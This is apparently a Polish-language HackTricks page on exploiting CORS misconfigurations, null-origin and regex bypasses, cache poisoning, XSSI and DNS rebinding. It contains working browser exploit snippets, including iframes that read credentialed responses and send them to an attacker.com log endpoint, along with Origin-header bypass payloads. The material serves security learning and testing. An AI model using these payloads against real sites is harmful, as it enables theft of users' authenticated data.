CORS - Misconfigurations & Bypass

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Czym jest CORS?

Standard Cross-Origin Resource Sharing (CORS) umożliwia serwerom definiowanie, kto może uzyskać dostęp do ich zasobów oraz które metody HTTP request są dozwolone z zewnętrznych źródeł.

Polityka same-origin wymaga, aby serwer żądający zasobu i serwer hostujący zasób miały ten sam protokół (np. http://), nazwę domeny (np. internal-web.com) oraz port (np. 80). Zgodnie z tą polityką tylko strony internetowe z tej samej domeny i portu mogą uzyskiwać dostęp do zasobów.

Zastosowanie polityki same-origin w kontekście http://normal-website.com/example/example.html przedstawia się następująco:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identyczny schemat, domena i port
http://normal-website.com/example2/Yes: Identyczny schemat, domena i port
https://normal-website.com/example/No: Inny schemat i port
http://en.normal-website.com/example/No: Inna domena
http://www.normal-website.com/example/No: Inna domena
http://normal-website.com:8080/example/No: Inny port*

*Internet Explorer ignoruje numer portu przy egzekwowaniu polityki same-origin, umożliwiając więc ten dostęp.

Nagłówek Access-Control-Allow-Origin

Ten nagłówek może zezwalać na wiele origins, wartość null albo wildcard *. Jednak żadna przeglądarka nie obsługuje wielu origins, a użycie wildcard * podlega ograniczeniom. (Wildcard musi być użyty samodzielnie i nie wolno go stosować razem z Access-Control-Allow-Credentials: true.)

Ten nagłówek jest wysyłany przez serwer w odpowiedzi na cross-domain request zasobu zainicjowany przez stronę internetową, przy czym przeglądarka automatycznie dodaje nagłówek Origin.

Nagłówek Access-Control-Allow-Credentials

Domyślnie cross-origin request są wykonywane bez credentials, takich jak cookies lub nagłówek Authorization. Jednak cross-domain serwer może zezwolić na odczyt odpowiedzi, gdy credentials są wysyłane, ustawiając nagłówek Access-Control-Allow-Credentials na true.

Jeśli ustawione na true, przeglądarka będzie przesyłać credentials (cookies, authorization headers lub TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Zrozumienie Pre-flight Requests w komunikacji międzydomenowej

Gdy inicjujesz request międzydomenowy w określonych warunkach, takich jak użycie niestandardowej metody HTTP (czegokolwiek innego niż HEAD, GET, POST), dodanie nowych headers lub zastosowanie specjalnej wartości nagłówka Content-Type, może być wymagany pre-flight request. Ten wstępny request, wykorzystujący metodę OPTIONS, służy do poinformowania serwera o zamiarach nadchodzącego cross-origin request, w tym o metodach HTTP i headers, których zamierza użyć.

Protokół Cross-Origin Resource Sharing (CORS) wymaga tego pre-flight check, aby określić wykonalność żądanej operacji cross-origin poprzez weryfikację dozwolonych metod, headers oraz wiarygodności origin. Aby dokładnie zrozumieć, jakie warunki pozwalają uniknąć potrzeby pre-flight request, zapoznaj się z obszernym przewodnikiem udostępnionym przez Mozilla Developer Network (MDN).

Ważne jest, aby zauważyć, że brak pre-flight request nie znosi wymogu, by response zawierała authorization headers. Bez tych headers przeglądarka nie jest w stanie przetworzyć response z cross-origin request.

Rozważ poniższą ilustrację pre-flight request mającego na celu użycie metody PUT wraz z niestandardowym headerem o nazwie Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

W odpowiedzi serwer może zwrócić nagłówki wskazujące akceptowane metody, dozwolony origin oraz inne szczegóły polityki CORS, jak pokazano poniżej:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Ten nagłówek określa, które nagłówki mogą być użyte podczas właściwego request. Jest ustawiany przez server, aby wskazać dozwolone nagłówki w requestach od client.
  • Access-Control-Expose-Headers: Za pomocą tego nagłówka server informuje client, które nagłówki mogą być ujawnione jako część response, poza simple response headers.
  • Access-Control-Max-Age: Ten nagłówek wskazuje, jak długo wyniki pre-flight request mogą być cache. Server ustawia maksymalny czas, w sekundach, przez jaki informacje zwrócone przez pre-flight request mogą być ponownie użyte.
  • Access-Control-Request-Headers: Używany w pre-flight requests, ten nagłówek jest ustawiany przez client, aby poinformować server, które HTTP headers client chce użyć we właściwym request.
  • Access-Control-Request-Method: Ten nagłówek, również używany w pre-flight requests, jest ustawiany przez client, aby wskazać, która metoda HTTP zostanie użyta we właściwym request.
  • Origin: Ten nagłówek jest automatycznie ustawiany przez browser i wskazuje origin cross-origin request. Jest używany przez server do oceny, czy przychodzący request powinien zostać dozwolony czy odrzucony na podstawie polityki CORS.

Zwróć uwagę, że zwykle (w zależności od content-type i ustawionych headers) w GET/POST request nie jest wysyłany pre-flight request (request jest wysyłany directly), ale jeśli chcesz uzyskać dostęp do headers/body response, musi on zawierać nagłówek Access-Control-Allow-Origin zezwalający na to.
Dlatego CORS nie chroni przed CSRF (ale może być pomocny).

Local Network Requests Pre-flight request

Nowoczesne browsers i obecny szkic Private Network Access (PNA) używają nagłówków Access-Control-Request-Private-Network: true w preflight oraz Access-Control-Allow-Private-Network: true w response. Starsze artykuły i PoC mogą nadal odnosić się do nazw nagłówków Local-Network, ale w aktualnych testach należy spodziewać się wariantów Private-Network.

Poprawny response zezwalający na local network request musi również zawierać Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

A żądanie preflight będzie wyglądać podobnie do:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Rollout PNA w Chrome zmieniał się kilka razy w 2024 roku. Na dzień 9 października 2024, Chrome dokumentował, że PNA preflights were on hold z powodu problemów ze zgodnością, podczas gdy ograniczenia secure-context pozostawały w mocy. Dlatego testuj zarówno spec-compliant preflight flow, jak i starsze zachowanie “works in practice because enforcement is incomplete”.

Warning

Zwróć uwagę, że linux 0.0.0.0 IP działa, aby bypass te wymagania i uzyskać dostęp do localhost, ponieważ ten adres IP nie jest uznawany za “local”.

Chrome także dokumentował, że 0.0.0.0/8 jest teraz traktowane jako część Private Network Access, więc ten trik zależy od browser/version i powinien być przetestowany ponownie zamiast zakładany.

Możliwe jest też bypass the Local Network requirements, jeśli użyjesz public IP address of a local endpoint (jak publiczny IP routera). Ponieważ w kilku przypadkach, nawet jeśli public IP jest używany, jeśli połączenie jest from the local network, dostęp zostanie przyznany.

Wildcards

Zwróć uwagę, że nawet jeśli następująca konfiguracja może wyglądać na bardzo permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

To nie jest dozwolone przez przeglądarki, więc poświadczenia nie zostaną wysłane wraz z żądaniem dozwolonym przez to.

Exploitable misconfigurations

Zaobserwowano, że ustawienie Access-Control-Allow-Credentials na true jest warunkiem wstępnym dla większości real attacks. To ustawienie pozwala przeglądarce wysyłać poświadczenia i odczytywać odpowiedź, zwiększając skuteczność ataku. Bez tego korzyść z wysłania żądania przez przeglądarkę zamiast zrobienia tego samodzielnie maleje, ponieważ wykorzystanie cookies użytkownika staje się niewykonalne.

Exception: Exploiting Network Location as Authentication

Istnieje wyjątek, w którym sieciowa lokalizacja ofiary działa jako forma uwierzytelniania. Pozwala to użyć przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na IP w celu uzyskania dostępu do aplikacji intranetowych. Metoda ta ma podobieństwa pod względem skutków do DNS rebinding, ale jest prostsza do wykorzystania.

Reflection of Origin in Access-Control-Allow-Origin

Rzeczywisty scenariusz, w którym wartość nagłówka Origin jest odzwierciedlana w Access-Control-Allow-Origin, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak deweloperzy chcący włączyć CORS dla wielu URL mogą dynamicznie generować nagłówek Access-Control-Allow-Origin, kopiując wartość nagłówka Origin. Takie podejście może wprowadzać podatności, szczególnie gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wyglądała na legalną, przez co wprowadza w błąd logikę walidacji.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Eksploatacja pochodzenia null

Pochodzenie null, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy, aby ułatwić lokalny development, nieumyślnie pozwalając każdej stronie internetowej na imitowanie pochodzenia null przez sandboxed iframe, a tym samym omijanie ograniczeń CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniki obejścia wyrażeń regularnych

Gdy napotkasz whitelistę domen, kluczowe jest przetestowanie możliwości bypass, takich jak dopisanie domeny atakującego do domeny z whitelisty albo wykorzystanie podatności subdomain takeover. Dodatkowo wyrażenia regularne używane do walidacji domen mogą pomijać niuanse w konwencjach nazewnictwa domen, co stwarza kolejne możliwości bypass.

Zaawansowane obejścia wyrażeń regularnych

Wzorce regex zwykle koncentrują się na znakach alfanumerycznych, kropce (.) i myślniku (-), pomijając inne możliwości. Na przykład nazwa domeny przygotowana tak, aby zawierała znaki interpretowane inaczej przez przeglądarki i wzorce regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox pokazuje, jak takie rozbieżności można wykorzystać do obejścia logiki walidacji domen.

Więcej informacji i ustawień tego bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Z XSS wewnątrz subdomeny

Deweloperzy często implementują mechanizmy obronne, aby chronić się przed exploatacją CORS, stosując whitelistę domen, które mogą żądać informacji. Mimo tych środków ostrożności bezpieczeństwo systemu nie jest bezbłędne. Obecność nawet jednej podatnej subdomeny wśród domen z whitelisty może otworzyć drogę do exploatacji CORS przez inne podatności, takie jak XSS (Cross-Site Scripting).

Aby to zilustrować, rozważ scenariusz, w którym domena requester.com znajduje się na whiteliście i może uzyskiwać dostęp do zasobów z innej domeny, provider.com. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

W tym setupie wszystkie subdomeny requester.com mają dozwolony access. Jednak jeśli subdomena, na przykład sub.requester.com, zostanie compromised przez podatność XSS, attacker może wykorzystać tę słabość. Na przykład attacker mający access do sub.requester.com mógłby exploitować podatność XSS, aby bypassować CORS policies i maliciously uzyskać access do resources na provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet found that some browsers support strange characters within domain names.

Chrome i Firefox supportują underscores _, które mogą bypassować regexes zaimplementowane do walidacji nagłówka Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari jest jeszcze bardziej liberalny i akceptuje znaki specjalne w nazwie domeny:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Ostatnie aktualizacje cheat sheet PortSwigger dodały więcej payloadów z Safari-oriented domain splitting, które warto fuzzować, gdy cel waliduje nagłówek Origin za pomocą regexów lub własnych parserów URL:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Są one przydatne, gdy backend sprawdza tylko, czy podany origin zaczyna się od lub zawiera zaufaną nazwę hosta, podczas gdy przeglądarka nadal traktuje sufiks kontrolowany przez atakującego jako efektywną granicę origin.

Pamiętaj też, że współczesny origin fuzzing nie powinien kończyć się na sufiksach hostname. Obecny cheat sheet PortSwigger zawiera rodziny payloadów dla:

  • Domain allow-list bypasses: domeny kontrolowane przez atakującego, które nadal spełniają naiwne sprawdzenia prefix/suffix/substring.
  • Fake-relative absolute URLs: bezwzględne URL-e poprawne dla przeglądarki, które kod aplikacji może parsować jako względne.
  • Loopback/IP normalizations: alternatywne formy IPv4/IPv6 przydatne, gdy logika CORS próbuje blokować localhost, 127.0.0.1 lub endpointy metadata w chmurze przez porównanie stringów.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Możliwe jest, że przez wykorzystanie server-side cache poisoning poprzez HTTP header injection można doprowadzić do podatności stored Cross-Site Scripting (XSS). Taki scenariusz pojawia się, gdy aplikacja nie sanitizuje nagłówka Origin pod kątem niedozwolonych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności HTTP header injection.

Rozważ następujące żądanie, w którym nagłówek Origin jest manipulowany:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretują odpowiedź jako:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Chociaż bezpośrednie wykorzystanie tej podatności poprzez sprawienie, by przeglądarka wysłała zniekształcony header nie jest wykonalne, ręcznie wygenerowany request można utworzyć za pomocą narzędzi takich jak Burp Suite. Ta metoda może doprowadzić do sytuacji, w której server-side cache zapisze response i nieumyślnie udostępni go innym. Przygotowany payload ma na celu zmianę character set strony na UTF-7, encoding znaków często powiązany z XSS vulnerabilities ze względu na możliwość kodowania znaków w sposób, który w pewnych kontekstach może zostać wykonany jako script.

Dalsze informacje o stored XSS vulnerabilities znajdziesz w PortSwigger.

Note: Exploitation HTTP header injection vulnerabilities, szczególnie przez server-side cache poisoning, podkreśla krytyczne znaczenie walidacji i sanitizacji wszystkich danych wejściowych dostarczanych przez użytkownika, w tym HTTP headers. Zawsze stosuj solidny model security, który obejmuje input validation, aby zapobiegać takim podatnościom.

Client-Side cache poisoning

From this research

W tym scenariuszu obserwuje się instancję web page, która odzwierciedla zawartość niestandardowego HTTP header bez właściwego encodingu. Dokładniej, web page zwraca zawartość przesłaną w headerze X-User-id, która może zawierać złośliwy JavaScript, jak pokazano w przykładzie, gdzie header zawiera tag SVG image zaprojektowany tak, aby wykonać kod JavaScript po załadowaniu.

Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych headers. Jednak bez bezpośredniego renderowania response przez przeglądarkę z powodu ograniczeń CORS, użyteczność takiego injection może wydawać się ograniczona. Kluczowy punkt pojawia się przy analizie zachowania cache przeglądarki. Jeśli header Vary: Origin nie jest określony, złośliwy response może zostać zapisany w cache przeglądarki. Następnie ten zapisany response może zostać bezpośrednio wyrenderowany podczas przechodzenia na URL, omijając potrzebę bezpośredniego renderowania przy pierwszym request. Ten mechanizm zwiększa niezawodność ataku, wykorzystując client-side caching.

Aby zilustrować ten atak, podano przykład JavaScript, zaprojektowany do uruchomienia w środowisku web page, na przykład przez JSFiddle. Ten script wykonuje proste działanie: wysyła request do określonego URL z niestandardowym header zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu request próbuje przejść do docelowego URL, potencjalnie wyzwalając wykonanie wstrzykniętego script, jeśli response został zapisany w cache bez właściwego obsłużenia header Vary: Origin.

Poniżej znajduje się skrócony opis JavaScript użytego do wykonania tego ataku:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, która wykorzystuje fakt, że Same Origin Policy (SOP) nie ma zastosowania przy dołączaniu zasobów za pomocą taga script. Wynika to z tego, że skrypty muszą móc być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolną treść, która została dołączona przy użyciu taga script.

Ta podatność staje się szczególnie istotna w przypadku dynamic JavaScript lub JSONP (JSON with Padding), zwłaszcza gdy do uwierzytelniania używane są informacje o ambient-authority, takie jak cookies. Podczas żądania zasobu z innego hosta cookies są dołączane, co czyni je dostępnymi dla atakującego.

Aby lepiej zrozumieć i ograniczyć tę podatność, możesz użyć wtyczki BurpSuite dostępnej pod adresem https://github.com/kapytein/jsonp. Ta wtyczka może pomóc wykryć i naprawić potencjalne podatności XSSI w twoich aplikacjach webowych.

Przeczytaj więcej o różnych typach XSSI i o tym, jak je wykorzystać tutaj.

Spróbuj dodać callback parameter w request. Może strona była przygotowana do wysyłania danych jako JSONP. W takim przypadku strona odeśle dane z Content-Type: application/javascript, co ominie politykę CORS.

Easy (useless?) bypass

Jednym ze sposobów ominięcia ograniczenia Access-Control-Allow-Origin jest poproszenie web application, aby wykonała request w twoim imieniu i odesłała response. Jednak w tym scenariuszu credentials końcowej ofiary nie zostaną wysłane, ponieważ request jest wykonywany do innej domeny.

  1. CORS-escape: To narzędzie udostępnia proxy, które przekazuje twój request wraz z jego headers, jednocześnie spoofując nagłówek Origin tak, aby pasował do żądanej domeny. Skutecznie omija to politykę CORS. Oto przykład użycia z XMLHttpRequest:
  2. simple-cors-escape: To narzędzie oferuje alternatywne podejście do proxying requestów. Zamiast przekazywać twój request bez zmian, serwer wykonuje własny request z podanymi parameters.

Iframe + Popup Bypass

Możesz bypassować CORS checks takie jak e.origin === window.origin poprzez utworzenie iframe i z jego poziomu otwarcie nowego okna. Więcej informacji na التاليةj stronie:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL to technika używana do obejścia niektórych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:

  1. Atakujący tworzy stronę web i sprawia, że ofiara ją odwiedza.
  2. Następnie atakujący zmienia DNS (IP) własnej domeny tak, aby wskazywał na stronę web ofiary.
  3. Przeglądarka ofiary buforuje odpowiedź DNS, która może mieć wartość TTL (Time to Live) wskazującą, jak długo rekord DNS powinien być uznawany za ważny.
  4. Gdy TTL wygaśnie, przeglądarka ofiary wykonuje nowe żądanie DNS, co pozwala atakującemu uruchomić kod JavaScript na stronie ofiary.
  5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek cookies do serwera ofiary.

Ważne jest, aby zauważyć, że przeglądarki mają mechanizmy cache, które mogą uniemożliwić natychmiastowe nadużycie tej techniki, nawet przy niskich wartościach TTL.

DNS rebinding może być przydatny do omijania jawnych kontroli IP wykonywanych przez ofiarę lub w scenariuszach, w których użytkownik albo bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala cache wygasnąć.

Jeśli potrzebujesz szybkiego sposobu na nadużycie DNS rebinding, możesz użyć usług takich jak https://lock.cmpxchg8b.com/rebinder.html.

Aby uruchomić własny serwer DNS rebinding, możesz użyć narzędzi takich jak DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Wymaga to wystawienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz utworzenia rekordu NS wskazującego na wcześniej utworzoną subdomenę A (np. ns.example.com). Każda subdomena subdomeny ns.example.com będzie wtedy rozwiązywana przez twój host.

Możesz także sprawdzić publicznie działający serwer pod adresem http://rebind.it/singularity.html, aby lepiej to zrozumieć i poeksperymentować.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding to kolejna technika używana do obejścia mechanizmu cache przeglądarek i wymuszenia drugiego request DNS. Oto jak to działa:

  1. Początkowo, gdy ofiara wykonuje request DNS, zwracany jest jej adres IP atakującego.
  2. Aby obejść obronę opartą na cache, atakujący wykorzystuje service worker. Service worker zalewa DNS cache, co skutecznie usuwa nazwę serwera atakującego z cache.
  3. Gdy przeglądarka ofiary wykonuje drugi request DNS, zwracany jest teraz adres IP 127.0.0.1, który zwykle odnosi się do localhost.

Zalewając DNS cache za pomocą service worker, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wykonania drugiego request, tym razem rozwiązującego się na pożądany adres IP atakującego.

DNS Rebinding via Cache

Innym sposobem obejścia obrony opartej na cache jest wykorzystanie wielu adresów IP dla tej samej subdomeny u dostawcy DNS. Oto jak to działa:

  1. Atakujący konfiguruje dwa rekordy A (lub jeden rekord A z dwoma IP) dla tej samej subdomeny u dostawcy DNS.
  2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
  3. Jeśli przeglądarka zdecyduje się użyć najpierw adresu IP atakującego, atakujący może dostarczyć payload wykonujący request HTTP do tej samej domeny.
  4. Jednak gdy atakujący uzyska adres IP ofiary, przestają odpowiadać przeglądarce ofiary.
  5. Przeglądarka ofiary, po stwierdzeniu, że domena nie odpowiada, przechodzi do użycia drugiego podanego adresu IP.
  6. Uzyskując dostęp do drugiego adresu IP, przeglądarka omija Same Origin Policy (SOP), co pozwala atakującemu nadużyć tego i zebrać oraz exfiltrate informacje.

Ta technika wykorzystuje zachowanie przeglądarek, gdy dla domeny podano wiele adresów IP. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.

Warning

Zwróć uwagę, że aby uzyskać dostęp do localhost, powinieneś spróbować rebind 127.0.0.1 w Windows i 0.0.0.0 w linux.
Dostawcy tacy jak godaddy lub cloudflare nie pozwolili mi użyć IP 0.0.0.0, ale AWS route53 pozwolił mi utworzyć jeden rekord A z 2 IP, z których jeden był “0.0.0.0”

Więcej informacji znajdziesz pod adresem https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Jeśli internal IPs nie są dozwolone, mogli zapomnieć zablokować 0.0.0.0 (działa na Linux i Mac)
  • Jeśli internal IPs nie są dozwolone, zwróć CNAME do localhost (działa na Linux i Ma
  • Jeśli internal IPs nie są dozwolone jako odpowiedzi DNS, możesz zwracać CNAMEs do internal services takie jak www.corporate.internal.

DNS Rebidding Weaponized

Więcej informacji o poprzednich technikach bypass i o tym, jak używać następującego narzędzia, znajdziesz w prelekcji Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do rebind IP address nazwy DNS serwera atakującego na IP address maszyny docelowej oraz do serwowania attack payloads w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH po prostu tuneluje klasyczny format pakietu DNS RFC1035 wewnątrz HTTPS (zwykle POST z Content-Type: application/dns-message). Resolver nadal zwraca te same resource records, więc techniki łamiące SOP nadal działają, nawet gdy przeglądarki rozwiązują hostname kontrolowany przez atakującego przez TLS.

Key observations

  • Chrome (Windows/macOS) i Firefox (Linux) skutecznie rebindują, gdy są skonfigurowane do resolverów DoH Cloudflare, Google lub OpenDNS. Szyfrowanie transportu nie opóźnia ani nie blokuje flow ataku dla strategii first-then-second, multiple-answers lub DNS cache flooding.
  • Publiczne resolvery nadal widzą każde query, ale rzadko egzekwują mapowanie host-to-IP, którego musi przestrzegać przeglądarka. Gdy authoritative server zwróci sekwencję rebinding, przeglądarka zachowuje oryginalny tuple origin podczas łączenia się z nowym IP.

Singularity strategies and timing over DoH

  • First-then-second pozostaje najbardziej niezawodną opcją: pierwsze lookup zwraca IP atakującego, które serwuje payload, każde późniejsze lookup zwraca internal/localhost IP. Przy typowych cache DNS przeglądarki ruch przełącza się w ~40–60 sekund, nawet gdy recursive resolver jest dostępny wyłącznie przez HTTPS.
  • Multiple answers (fast rebinding) nadal osiąga localhost w <3 sekund, odpowiadając dwoma rekordami A (IP atakującego + 0.0.0.0 na Linux/macOS lub 127.0.0.1 na Windows) i programowo blackholing pierwszy IP (na przykład iptables -I OUTPUT -d <attacker_ip> -j DROP) krótko po załadowaniu strony. Implementacja DoH w Firefox może emitować powtarzające się query DNS, więc poprawka Singularity polega na zaplanowaniu reguły firewalla względem znacznika czasu pierwszego query zamiast odświeżania timera przy każdym query.

Beating “rebind protection” in DoH providers

  • Niektórzy dostawcy (np. NextDNS) zastępują odpowiedzi private/loopback przez 0.0.0.0, ale Linux i macOS bez problemu routują ten cel do lokalnych usług. Celowe zwrócenie 0.0.0.0 jako drugiego rekordu nadal więc pivotuje origin do localhost.
  • Filtrowanie tylko bezpośredniej odpowiedzi A/AAAA jest nieskuteczne: zwrócenie CNAME do hosta dostępnego wyłącznie wewnętrznie sprawia, że publiczny resolver DoH przekazuje alias dalej, podczas gdy przeglądarki takie jak Firefox wracają do system DNS dla internal zone, kończąc rozwiązywanie na prywatnym IP, które nadal jest traktowane jako origin atakującego.

Browser-specific DoH behavior

  • Firefox DoH działa w trybie fallback: każdy failure DoH (w tym nierozwiązany cel CNAME) uruchamia lookup plaintext przez resolver OS, którym zwykle jest enterprise DNS server znający internal namespace. To właśnie to zachowanie sprawia, że obejście CNAME jest niezawodne w sieciach korporacyjnych.
  • Chrome DoH aktywuje się tylko wtedy, gdy OS DNS wskazuje na dozwolony recursive resolver obsługujący DoH (Cloudflare, Google, Quad9 itd.) i nie zapewnia tego samego łańcucha fallback. Internal hostnames, które istnieją tylko na corporate DNS, nie rozwiążą się więc, ale rebinding w kierunku localhost lub dowolnego routowalnego adresu nadal się powiedzie, ponieważ atakujący kontroluje cały zestaw odpowiedzi.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS i podaj endpoint DoH (Cloudflare i NextDNS są wbudowane). Chrome/Chromium: włącz chrome://flags/#dns-over-https i skonfiguruj OS DNS servers na jeden z obsługiwanych resolverów Chrome (np. 1.1.1.1/1.0.0.1).
  • Możesz bezpośrednio pytać publiczne API DoH, np. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq, aby potwierdzić dokładne rekordy, które przeglądarki będą cache’ować.
  • Przechwytywanie DoH w Burp/ZAP nadal działa, ponieważ to po prostu HTTPS (binarny payload DNS w body). Do inspekcji na poziomie pakietów wyeksportuj klucze TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) przed uruchomieniem przeglądarki i pozwól Wireshark odszyfrować sesje DoH z filtrem wyświetlania dns, aby zobaczyć, kiedy przeglądarka pozostaje na DoH, a kiedy wraca do klasycznego DNS.

Real Protection against DNS Rebinding

  • Używaj TLS w internal services
  • Wymagaj uwierzytelniania, aby uzyskać dostęp do danych
  • Waliduj nagłówek Host
  • https://wicg.github.io/private-network-access/: Proposal, aby zawsze wysyłać pre-flight request, gdy publiczne serwery chcą uzyskać dostęp do internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks